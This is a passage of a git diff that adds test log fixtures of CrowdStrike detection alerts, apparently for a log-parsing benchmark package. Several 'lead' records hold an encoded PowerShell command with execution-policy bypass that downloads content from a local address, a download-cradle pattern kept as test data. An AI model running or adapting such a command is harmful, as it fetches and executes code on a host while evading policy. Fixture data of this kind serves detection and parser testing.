h_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
+{"agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
+{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
+{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
+{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z", "prevented":true,"worker_node_name":"example"}
+{"agent_id":"7940b10993e844e398f83bd92aa92b8f","aggregate_id":"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644","alleged_filetype":"exe","cid":"bdc3e3474d8848f1b8dcf41d41669a14","cloud_indicator":"false","cmdline":"cmd crowdstrike_test_informational","composite_id":"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","confidence":100,"context_timestamp":"2025-06-06T10:20:41.124Z","control_graph_id":"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644","crawled_timestamp":"2025-06-06T10:21:45.624194206Z","created_timestamp":"2025-06-06T10:21:45.624178312Z","data_domains":["Endpoint"],"description":"An informational level detection was triggered on this process for testing purposes.","device":{"agent_load_flags":"1","agent_local_time":"2025-06-06T06:28:45.178Z","agent_version":"7.24.19607.0","bios_manufacturer":"Microsoft Corporation","bios_version":"Hyper-V UEFI Release v4.1","cid":"bdc3e3474d8848f1b8dcf41d41669a14","config_id_base":"65994767","config_id_build":"19607","config_id_platform":"3","device_id":"7940b10993e844e398f83bd92aa92b8f","external_ip":"81.2.69.144","first_seen":"2025-05-29T11:54:43Z","groups":["f3ba4e75244b4d06837c910a00bf80be"],"hostinfo":{"domain":""},"hostname":"raquel-win10-3","instance_id":"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6","last_seen":"2025-06-06T09:44:59Z","local_ip":"10.0.0.13","mac_address":"60-45-bd-d2-d4-37","machine_domain":"","major_version":"10","minor_version":"0","modified_timestamp":"2025-06-06T10:18:32Z","os_version":"Windows 10","ou":null,"platform_id":"0","platform_name":"Windows","product_type":"1","product_type_desc":"Workstation","service_provider":"AZURE","service_provider_account_id":"7599433a-346d-4c25-b9d0-2948136c41f5","status":"normal","system_manufacturer":"Microsoft Corporation","system_product_name":"Virtual Machine"},"display_name":"TestTriggerInformational","email_sent":true,"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","global_prevalence":"common","grandparent_details":{"cmdline":"cmd crowdstrike_test_medium","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"2796","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17938741315","process_id":"17938741315","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:21Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","indicator_id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","ioc_context":[],"local_prevalence":"unique","local_process_id":"6028","logon_domain":"raquel-win10-3","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","name":"DemoInformationalPattern","objective":"Falcon Detection Method","parent_details":{"cmdline":"cmd crowdstrike_test_low","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"4840","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17940808135","process_id":"17940808135","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:32Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"parent_process_id":"17940808135","pattern_disposition":0,"pattern_disposition_description":"Detection, standard detection.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"containment_file_system":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"mfa_required":false,"operation_blocked":false,"policy_disabled":false,"prevention_provisioning_enabled":false,"process_blocked":false,"quarantine_file":false,"quarantine_machine":false,"registry_operation_blocked":false,"response_action_already_applied":false,"response_action_failed":false,"response_action_triggered":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":10307,"platform":"Windows","poly_id":"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==","priority_explanation":["[MOD] The severity of the detection: Informational"],"priority_value":10,"process_id":"17942810918","process_start_time":"1749205241","product":"epp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":10,"severity_name":"Informational","sha1":"0000000000000000000000000000000000000000","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","show_in_ui":true,"source_products":["Falcon Insight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Falcon Overwatch","tactic_id":"CSTA0006","technique":"Malicious Activity","technique_id":"CST0002","template_instance_id":"1339","timestamp":"2025-06-06T10:20:41.789Z","tree_id":"17181460644","tree_root":"17934037600","triggering_process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17942810918","type":"ldt","updated_timestamp":"2025-06-06T10:21:50.710758858Z","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log
new file mode 100644
index 0000000000..c0e095d6dd
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log
@@ -0,0 +1,10 @@
+{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"has_script_or_module_ioc":"true","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"is_synthetic_quarantine_disposition":true,"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","overwatch_note":"Activity Notice: OverWatch has observed XYZ","overwatch_note_timestamp":"2025-03-01T15:31:00Z","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"rule_group_id":"1b27b7f123c44e15a13fe7f44801d123","rule_group_name":"Windows Group","rule_instance_created_by":"myuser@mydomain.com","rule_instance_id":"123","rule_instance_name":"INSTANCE-1","rule_instance_version":"1","scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
+{"agent_id":"38293534662e48c99f33c61631b3536d","aggregate_id":"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","cid":"4446934rf3fdb64ec3056ddfb96e","composite_id":"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","confidence":80,"context_timestamp":"2024-08-16T18:43:44.242Z","crawled_timestamp":"2024-08-16T18:49:02.798354466Z","created_timestamp":"2024-08-16T18:45:02.987127397Z","data_domains":["Identity"],"description":"A user denied a policy identity verification request","display_name":"Identity verification denied","end_time":"2024-08-16T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","idp_policy_mfa_factor_type":"32769","idp_policy_mfa_provider":"14","idp_policy_rule_id":"1B82F2DE-2A08-49E0-8F85-AD46996F9A65","idp_policy_rule_name":"admin - RDP Access to TIER-0 Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"Gain 